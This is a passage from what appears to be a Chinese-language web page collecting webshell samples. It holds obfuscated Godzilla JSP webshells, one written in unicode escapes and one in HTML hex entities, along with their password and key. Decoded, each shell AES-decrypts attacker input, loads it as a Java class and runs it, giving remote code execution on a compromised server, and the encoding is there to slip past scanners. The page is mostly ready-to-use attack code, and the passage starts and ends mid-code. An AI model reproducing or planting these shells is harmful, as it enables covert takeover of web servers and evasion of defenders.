class="string">"\u0073\u0075\u006e.\u006d\u0069\u0073\u0063.\u0042\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072"</span>\u0029\u003b\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0029\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028<span class="string">"decodeBuffer"</span>\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0062\u0073\u0020\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0032\u0029\u0020\u007b\u007d\u007d\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0076\u0061\u006c\u0075\u0065\u003b\u0020\u007d%><%\u0074\u0072\u0079\u007b\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0064\u0061\u0074\u0061\u003d\u0062\u0061\u0073\u0065\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0070\u0061\u0073\u0073\u0029\u0029\u003b\u0064\u0061\u0074\u0061\u003d\u0078\u0028\u0064\u0061\u0074\u0061\u002c\u0020\u0066\u0061\u006c\u0073\u0065\u0029\u003b\u0069\u0066\u0020\u0028\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0067\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065\u0028<span class="string">"payload"</span>\u0029\u003d\u003d\u006e\u0075\u006c\u006c\u0029\u007b\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0073\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065\u0028<span class="string">"payload"</span>\u002c\u006e\u0065\u0077\u0020\u0058\u0028\u0074\u0068\u0069\u0073\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0028\u0029\u0029\u002e\u0051\u0028\u0064\u0061\u0074\u0061\u0029\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u007b\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0073\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065\u0028<span class="string">"parameters"</span>\u002c\u0064\u0061\u0074\u0061\u0029\u003b\u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0042\u0079\u0074\u0065\u0041\u0072\u0072\u0061\u0079\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0061\u0072\u0072\u004f\u0075\u0074\u003d\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0042\u0079\u0074\u0065\u0041\u0072\u0072\u0061\u0079\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0066\u003d\u0028\u0028\u0043\u006c\u0061\u0073\u0073\u0029\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0067\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065\u0028<span class="string">"payload"</span>\u0029\u0029\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u0066\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0061\u0072\u0072\u004f\u0075\u0074\u0029\u003b\u0066\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0070\u0061\u0067\u0065\u0043\u006f\u006e\u0074\u0065\u0078\u0074\u0029\u003b\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u0029\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u006d\u0064\u0035\u002e\u0073\u0075\u0062\u0073\u0074\u0072\u0069\u006e\u0067\u0028\u0030\u002c\u0031\u0036\u0029\u0029\u003b\u0066\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0029\u003b\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u0029\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u0045\u006e\u0063\u006f\u0064\u0065\u0028\u0078\u0028\u0061\u0072\u0072\u004f\u0075\u0074\u002e\u0074\u006f\u0042\u0079\u0074\u0065\u0041\u0072\u0072\u0061\u0079\u0028\u0029\u002c\u0020\u0074\u0072\u0075\u0065\u0029\u0029\u0029\u003b\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u0029\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u006d\u0064\u0035\u002e\u0073\u0075\u0062\u0073\u0074\u0072\u0069\u006e\u0067\u0028\u0031\u0036\u0029\u0029\u003b\u007d\u0020\u007d\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u007b\u007d%></span><br></pre></td></tr></table></figure>
<h2 id="Html"><a href="#Html" class="headerlink" title="Html"></a>Html</h2><h3 id="哥斯拉-1"><a href="#哥斯拉-1" class="headerlink" title="哥斯拉"></a>哥斯拉</h3><p>哥斯拉,密码pass,密钥key</p>
<figure class="highlight jsp"><table><tr><td class="code"><pre><span class="line"><?xml version=<span class="string">"1.0"</span> encoding=<span class="string">"UTF-8"</span>?><jsp:root xmlns:jsp=<span class="string">"http://java.sun.com/JSP/Page"</span> version=<span class="string">"1.2"</span>><jsp:declaration>&#x20;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x20;&#x78;&#x63;&#x3d;&#x22;&#x33;&#x63;&#x36;&#x65;&#x30;&#x62;&#x38;&#x61;&#x39;&#x63;&#x31;&#x35;&#x32;&#x32;&#x34;&#x61;&#x22;&#x3b;&#x20;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x20;&#x70;&#x61;&#x73;&#x73;&#x3d;&#x22;&#x70;&#x61;&#x73;&#x73;&#x22;&#x3b;&#x20;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x20;&#x6d;&#x64;&#x35;&#x3d;&#x6d;&#x64;&#x35;&#x28;&#x70;&#x61;&#x73;&#x73;&#x2b;&#x78;&#x63;&#x29;&#x3b;&#x20;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x20;&#x58;&#x20;&#x65;&#x78;&#x74;&#x65;&#x6e;&#x64;&#x73;&#x20;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x4c;&#x6f;&#x61;&#x64;&#x65;&#x72;&#x7b;&#x70;&#x75;&#x62;&#x6c;&#x69;&#x63;&#x20;&#x58;&#x28;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x4c;&#x6f;&#x61;&#x64;&#x65;&#x72;&#x20;&#x7a;&#x29;&#x7b;&#x73;&#x75;&#x70;&#x65;&#x72;&#x28;&#x7a;&#x29;&#x3b;&#x7d;&#x70;&#x75;&#x62;&#x6c;&#x69;&#x63;&#x20;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x20;&#x51;&#x28;&#x62;&#x79;&#x74;&#x65;&#x5b;&#x5d;&#x20;&#x63;&#x62;&#x29;&#x7b;&#x72;&#x65;&#x74;&#x75;&#x72;&#x6e;&#x20;&#x73;&#x75;&#x70;&#x65;&#x72;&#x2e;&#x64;&#x65;&#x66;&#x69;&#x6e;&#x65;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x28;&#x63;&#x62;&#x2c;&#x20;&#x30;&#x2c;&#x20;&#x63;&#x62;&#x2e;&#x6c;&#x65;&#x6e;&#x67;&#x74;&#x68;&#x29;&#x3b;&#x7d;&#x20;&#x7d;&#x70;&#x75;&#x62;&#x6c;&#x69;&#x63;&#x20;&#x62;&#x79;&#x74;&#x65;&#x5b;&#x5d;&#x20;&#x78;&#x28;&#x62;&#x79;&#x74;&#x65;&#x5b;&#x5d;&#x20;&#x73;&#x2c;&#x62;&#x6f;&#x6f;&#x6c;&#x65;&#x61;&#x6e;&#x20;&#x6d;&#x29;&#x7b;&#x20;&#x74;&#x72;&#x79;&#x7b;&#x6a;&#x61;&#x76;&#x61;&#x78;&#x2e;&#x63;&#x72;&#x79;&#x70;&#x74;&#x6f;&#x2e;&#x43;&#x69;&#x70;&#x68;&#x65;&#x72;&#x20;&#x63;&#x3d;&#x6a;&#x61;&#x76;&#x61;&#x78;&#x2e;&#x63;&#x72;&#x79;&#x70;&#x74;&#x6f;&#x2e;&#x43;&#x69;&#x70;&#x68;&#x65;&#x72;&#x2e;&#x67;&#x65;&#x74;&#x49;&#x6e;&#x73;&#x74;&#x61;&#x6e;&#x63;&#x65;&#x28;&#x22;&#x41;&#x45;&#x53;&#x22;&#x29;&#x3b;&#x63;&#x2e;&#x69;&#x6e;&#x69;&#x74;&#x28;&#x6d;&#x3f;&#x31;&#x3a;&#x32;&#x2c;&#x6e;&#x65;&#x77;&#x20;&#x6a;&#x61;&#x76;&#x61;&#x78;&#x2e;&#x63;&#x72;&#x79;&#x70;&#x74;&#x6f;&#x2e;&#x73;&#x70;&#x65;&#x63;&#x2e;&#x53;&#x65;&#x63;&#x72;&#x65;&#x74;&#x4b;&#x65;&#x79;&#x53;&#x70;&#x65;&#x63;&#x28;&#x78;&#x63;&#x2e;&#x67;&#x65;&#x74;&#x42;&#x79;&#x74;&#x65;&#x73;&#x28;&#x29;&#x2c;&#x22;&#x41;&#x45;&#x53;&#x22;&#x29;&#x29;&#x3b;&#x72;&#x65;&#x74;&#x75;&#x72;&#x6e;&#x20;&#x63;&#x2e;&#x64;&#x6f;&#x46;&#x69;&#x6e;&#x61;&#x6c;&#x28;&#x73;&#x29;&#x3b;&#x20;&#x7d;&#x63;&#x61;&#x74;&#x63;&#x68;&#x20;&#x28;&#x45;&#x78;&#x63;&#x65;&#x70;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x65;&#x29;&#x7b;&#x72;&#x65;&#x74;&#x75;&#x72;&#x6e;&#x20;&#x6e;&#x75;&#x6c;&#x6c;&#x3b;&#x20;&#x7d;&#x7d;&#x20;&#x70;&#x75;&#x62;&#x6c;&#x69;&#x63;&#x20;&#x73;&#x74;&#x61;&#x74;&#x69;&#x63;&#x20;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x20;&#x6d;&#x64;&#x35;&#x28;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x20;&#x73;&#x29;&#x20;&#x7b;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x20;&#x72;&#x65;&#x74;&#x20;&#x3d;&#x20;&#x6e;&#x75;&#x6c;&#x6c;&#x3b;&#x74;&#x72;&#x79;&#x20;&#x7b;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x73;&#x65;&#x63;&#x75;&#x72;&#x69;&#x74;&#x79;&#x2e;&#x4d;&#x65;&#x73;&#x73;&#x61;&#x67;&#x65;&#x44;&#x69;&#x67;&#x65;&#x73;&#x74;&#x20;&#x6d;&#x3b;&#x6d;&#x20;&#x3d;&#x20;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x73;&#x65;&#x63;&#x75;&#x72;&#x69;&#x74;&#x79;&#x2e;&#x4d;&#x65;&#x73;&#x73;&#x61;&#x67;&#x65;&#x44;&#x69;&#x67;&#x65;&#x73;&#x74;&#x2e;&#x67;&#x65;&#x74;&#x49;&#x6e;&#x73;&#x74;&#x61;&#x6e;&#x63;&#x65;&#x28;&#x22;&#x4d;&#x44;&#x35;&#x22;&#x29;&#x3b;&#x6d;&#x2e;&#x75;&#x70;&#x64;&#x61;&#x74;&#x65;&#x28;&#x73;&#x2e;&#x67;&#x65;&#x74;&#x42;&#x79;&#x74;&#x65;&#x73;&#x28;&#x29;&#x2c;&#x20;&#x30;&#x2c;&#x20;&#x73;&#x2e;&#x6c;&#x65;&#x6e;&#x67;&#x74;&#x68;&#x28;&#x29;&#x29;&#x3b;&#x72;&#x65;&#x74;&#x20;&#x3d;&#x20;&#x6e;&#x65;&#x77;&#x20;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x6d;&#x61;&#x74;&#x68;&#x2e;&#x42;&#x69;&#x67;&#x49;&#x6e;&#x74;&#x65;&#x67;&#x65;&#x72;&#x28;&#x31;&#x2c;&#x20;&#x6d;&#x2e;&#x64;&#x69;&#x67;&#x65;&#x73;&#x74;&#x28;&#x29;&#x29;&#x2e;&#x74;&#x6f;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x28;&#x31;&#x36;&#x29;&#x2e;&#x74;&#x6f;&#x55;&#x70;&#x70;&#x65;&#x72;&#x43;&#x61;&#x73;&#x65;&#x28;&#x29;&#x3b;&#x7d;&#x20;&#x63;&#x61;&#x74;&#x63;&#x68;&#x20;&#x28;&#x45;&#x78;&#x63;&#x65;&#x70;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x65;&#x29;&#x20;&#x7b;&#x7d;&#x72;&#x65;&#x74;&#x75;&#x72;&#x6e;&#x20;&#x72;&#x65;&#x74;&#x3b;&#x20;&#x7d;&#x20;&#x70;&#x75;&#x62;&#x6c;&#x69;&#x63;&#x20;&#x73;&#x74;&#x61;&#x74;&#x69;&#x63;&#x20;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x20;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x28;&#x62;&#x79;&#x74;&#x65;&#x5b;&#x5d;&#x20;&#x62;&#x73;&#x29;&#x20;&#x74;&#x68;&#x72;&#x6f;&#x77;&#x73;&#x20;&#x45;&#x78;&#x63;&#x65;&#x70;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x7b;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x20;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x3b;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x20;&#x76;&#x61;&#x6c;&#x75;&#x65;&#x20;&#x3d;&#x20;&#x6e;&#x75;&#x6c;&#x6c;&#x3b;&#x74;&#x72;&#x79;&#x20;&#x7b;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x3d;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x2e;&#x66;&#x6f;&#x72;&#x4e;&#x61;&#x6d;&#x65;&#x28;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x75;&#x74;&#x69;&#x6c;&#x2e;&#x42;&#x61;&#x73;&#x65;&#x36;&#x34;&#x22;&#x29;&#x3b;&#x4f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x20;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x20;&#x3d;&#x20;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x2e;&#x67;&#x65;&#x74;&#x4d;&#x65;&#x74;&#x68;&#x6f;&#x64;&#x28;&#x22;&#x67;&#x65;&#x74;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x22;&#x2c;&#x20;&#x6e;&#x75;&#x6c;&#x6c;&#x29;&#x2e;&#x69;&#x6e;&#x76;&#x6f;&#x6b;&#x65;&#x28;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x2c;&#x20;&#x6e;&#x75;&#x6c;&#x6c;&#x29;&#x3b;&#x76;&#x61;&#x6c;&#x75;&#x65;&#x20;&#x3d;&#x20;&#x28;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x29;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x2e;&#x67;&#x65;&#x74;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x28;&#x29;&#x2e;&#x67;&#x65;&#x74;&#x4d;&#x65;&#x74;&#x68;&#x6f;&#x64;&#x28;&#x22;&#x65;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x54;&#x6f;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x22;&#x2c;&#x20;&#x6e;&#x65;&#x77;&#x20;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x5b;&#x5d;&#x20;&#x7b;&#x20;&#x62;&#x79;&#x74;&#x65;&#x5b;&#x5d;&#x2e;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x20;&#x7d;&#x29;&#x2e;&#x69;&#x6e;&#x76;&#x6f;&#x6b;&#x65;&#x28;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x2c;&#x20;&#x6e;&#x65;&#x77;&#x20;&#x4f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x5b;&#x5d;&#x20;&#x7b;&#x20;&#x62;&#x73;&#x20;&#x7d;&#x29;&#x3b;&#x7d;&#x20;&#x63;&#x61;&#x74;&#x63;&#x68;&#x20;&#x28;&#x45;&#x78;&#x63;&#x65;&#x70;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x65;&#x29;&#x20;&#x7b;&#x74;&#x72;&#x79;&#x20;&#x7b;&#x20;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x3d;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x2e;&#x66;&#x6f;&#x72;&#x4e;&#x61;&#x6d;&#x65;&#x28;&#x22;&#x73;&#x75;&#x6e;&#x2e;&#x6d;&#x69;&#x73;&#x63;&#x2e;&#x42;&#x41;&#x53;&#x45;&#x36;&#x34;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x22;&#x29;&#x3b;&#x20;&#x4f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x20;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x20;&#x3d;&#x20;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x2e;&#x6e;&#x65;&#x77;&#x49;&#x6e;&#x73;&#x74;&#x61;&#x6e;&#x63;&#x65;&#x28;&#x29;&#x3b;&#x20;&#x76;&#x61;&#x6c;&#x75;&#x65;&#x20;&#x3d;&#x20;&#x28;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x29;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x2e;&#x67;&#x65;&#x74;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x28;&#x29;&#x2e;&#x67;&#x65;&#x74;&#x4d;&#x65;&#x74;&#x68;&#x6f;&#x64;&#x28;&#x22;&#x65;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x22;&#x2c;&#x20;&#x6e;&#x65;&#x77;&#x20;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x5b;&#x5d;&#x20;&#x7b;&#x20;&#x62;&#x79;&#x74;&#x65;&#x5b;&#x5d;&#x2e;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x20;&#x7d;&#x29;&#x2e;&#x69;&#x6e;&#x76;&#x6f;&#x6b;&#x65;&#x28;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x2c;&#x20;&#x6e;&#x65;&#x77;&#x20;&#x4f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x5b;&#x5d;&#x20;&#x7b;&#x20;&#x62;&#x73;&#x20;&#x7d;&#x29;&#x3b;&#x7d;&#x20;&#x63;&#x61;&#x74;&#x63;&#x68;&#x20;&#x28;&#x45;&#x78;&#x63;&#x65;&#x70;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x65;&#x32;&#x29;&#x20;&#x7b;&#x7d;&#x7d;&#x72;&#x65;&#x74;&#x75;&#x72;&#x6e;&#x20;&#x76;&#x61;&#x6c;&#x75;&#x65;&#x3b;&#x20;&#x7d;&#x20;&#x70;&#x75;&#x62;&#x6c;&#x69;&#x63;&#x20;&#x73;&#x74;&#x61;&#x74;&#x69;&#x63;&#x20;&#x62;&#x79;&#x74;&#x65;&#x5b;&#x5d;&#x20;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x44;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x28;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x20;&#x62;&#x73;&#x29;&#x20;&#x74;&#x68;&#x72;&#x6f;&#x77;&#x73;&#x20;&#x45;&#x78;&#x63;&#x65;&#x70;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x7b;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x20;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x3b;&#x62;&#x79;&#x74;&#x65;&#x5b;&#x5d;&#x20;&#x76;&#x61;&#x6c;&#x75;&#x65;&#x20;&#x3d;&#x20;&#x6e;&#x75;&#x6c;&#x6c;&#x3b;&#x74;&#x72;&#x79;&#x20;&#x7b;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x3d;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x2e;&#x66;&#x6f;&#x72;&#x4e;&#x61;&#x6d;&#x65;&#x28;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x75;&#x74;&#x69;&#x6c;&#x2e;&#x42;&#x61;&#x73;&#x65;&#x36;&#x34;&#x22;&#x29;&#x3b;&#x4f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x20;&#x64;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x20;&#x3d;&#x20;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x2e;&#x67;&#x65;&#x74;&#x4d;&#x65;&#x74;&#x68;&#x6f;&#x64;&#x28;&#x22;&#x67;&#x65;&#x74;&#x44;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x22;&#x2c;&#x20;&#x6e;&#x75;&#x6c;&#x6c;&#x29;&#x2e;&#x69;&#x6e;&#x76;&#x6f;&#x6b;&#x65;&#x28;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x2c;&#x20;&#x6e;&#x75;&#x6c;&#x6c;&#x29;&#x3b;&#x76;&#x61;&#x6c;&#x75;&#x65;&#x20;&#x3d;&#x20;&#x28;&#x62;&#x79;&#x74;&#x65;&#x5b;&#x5d;&#x29;&#x64;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x2e;&#x67;&#x65;&#x74;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x28;&#x29;&#x2e;&#x67;&#x65;&#x74;&#x4d;&#x65;&#x74;&#x68;&#x6f;&#x64;&#x28;&#x22;&#x64;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x22;&#x2c;&#x20;&#x6e;&#x65;&#x77;&#x20;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x5b;&#x5d;&#x20;&#x7b;&#x20;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x2e;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x20;&#x7d;&#x29;&#x2e;&#x69;&#x6e;&#x76;&#x6f;&#x6b;&#x65;&#x28;&#x64;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x2c;&#x20;&#x6e;&#x65;&#x77;&#x20;&#x4f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x5b;&#x5d;&#x20;&#x7b;&#x20;&#x62;&#x73;&#x20;&#x7d;&#x29;&#x3b;&#x7d;&#x20;&#x63;&#x61;&#x74;&#x63;&#x68;&#x20;&#x28;&#x45;&#x78;&#x63;&#x65;&#x70;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x65;&#x29;&#x20;&#x7b;&#x74;&#x72;&#x79;&#x20;&#x7b;&#x20;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x3d;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x2e;&#x66;&#x6f;&#x72;&#x4e;&#x61;&#x6d;&#x65;&#x28;&#x22;&#x73;&#x75;&#x6e;&#x2e;&#x6d;&#x69;&#x73;&#x63;&#x2e;&#x42;&#x41;&#x53;&#x45;&#x36;&#x34;&#x44;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x22;&#x29;&#x3b;&#x20;&#x4f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x20;&#x64;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x20;&#x3d;&#x20;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x2e;&#x6e;&#x65;&#x77;&#x49;&#x6e;&#x73;&#x74;&#x61;&#x6e;&#x63;&#x65;&#x28;&#x29;&#x3b;&#x20;&#x76;&#x61;&#x6c;&#x75;&#x65;&#x20;&#x3d;&#x20;&#x28;&#x62;&#x79;&#x74;&#x65;&#x5b;&#x5d;&#x29;&#x64;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x2e;&#x67;&#x65;&#x74;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x28;&#x29;&#x2e;&#x67;&#x65;&#x74;&#x4d;&#x65;&#x74;&#x68;&#x6f;&#x64;&#x28;&#x22;&#x64;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x42;&#x75;&#x66;&#x66;&#x65;&#x72;&#x22;&#x2c;&#x20;&#x6e;&#x65;&#x77;&#x20;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x5b;&#x5d;&#x20;&#x7b;&#x20;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x2e;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x20;&#x7d;&#x29;&#x2e;&#x69;&#x6e;&#x76;&#x6f;&#x6b;&#x65;&#x28;&#x64;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x2c;&#x20;&#x6e;&#x65;&#x77;&#x20;&#x4f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x5b;&#x5d;&#x20;&#x7b;&#x20;&#x62;&#x73;&#x20;&#x7d;&#x29;&#x3b;&#x7d;&#x20;&#x63;&#x61;&#x74;&#x63;&#x68;&#x20;&#x28;&#x45;&#x78;&#x63;&#x65;&#x70;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x65;&#x32;&#x29;&#x20;&#x7b;&#x7d;&#x7d;&#x72;&#x65;&#x74;&#x75;&#x72;&#x6e;&#x20;&#x76;&#x61;&#x6c;&#x75;&#x65;&#x3b;&#x20;&#x7d;</jsp:declaration><jsp:scriptlet>&#x74;&#x72;&#x79;&#x7b;&#x62;&#x79;&#x74;&#x65;&#x5b;&#x5d;&#x20;&#x64;&#x61;&#x74;&#x61;&#x3d;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x44;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x28;&#x72;&#x65;&#x71;&#x75;&#x65;&#x73;&#x74;&#x2e;&#x67;&#x65;&#x74;&#x50;&#x61;&#x72;&#x61;&#x6d;&#x65;&#x74;&#x65;&#x72;&#x28;&#x70;&#x61;&#x73;&#x73;&#x29;&#x29;&#x3b;&#x64;&#x61;&#x74;&#x61;&#x3d;&#x78;&#x28;&#x64;&#x61;&#x74;&#x61;&#x2c;&#x20;&#x66;&#x61;&#x6c;&#x73;&#x65;&#x29;&#x3b;&#x69;&#x66;&#x20;&#x28;&#x73;&#x65;&#x73;&#x73;&#x69;&#x6f;&#x6e;&#x2e;&#x67;&#x65;&#x74;&#x41;&#x74;&#x74;&#x72;&#x69;&#x62;&#x75;&#x74;&#x65;&#x28;&#x22;&#x70;&#x61;&#x79;&#x6c;&#x6f;&#x61;&#x64;&#x22;&#x29;&#x3d;&#x3d;&#x6e;&#x75;&#x6c;&#x6c;&#x29;&#x7b;&#x73;&#x65;&#x73;&#x73;&#x69;&#x6f;&#x6e;&#x2e;&#x73;&#x65;&#x74;&#x41;&#x74;&#x74;&#x72;&#x69;&#x62;&#x75;&#x74;&#x65;&#x28;&#x22;&#x70;&#x61;&#x79;&#x6c;&#x6f;&#x61;&#x64;&#x22;&#x2c;&#x6e;&#x65;&#x77;&#x20;&#x58;&#x28;&#x74;&#x68;&#x69;&#x73;&#x2e;&#x67;&#x65;&#x74;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x28;&#x29;&#x2e;&#x67;&#x65;&#x74;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x4c;&#x6f;&#x61;&#x64;&#x65;&#x72;&#x28;&#x29;&#x29;&#x2e;&#x51;&#x28;&#x64;&#x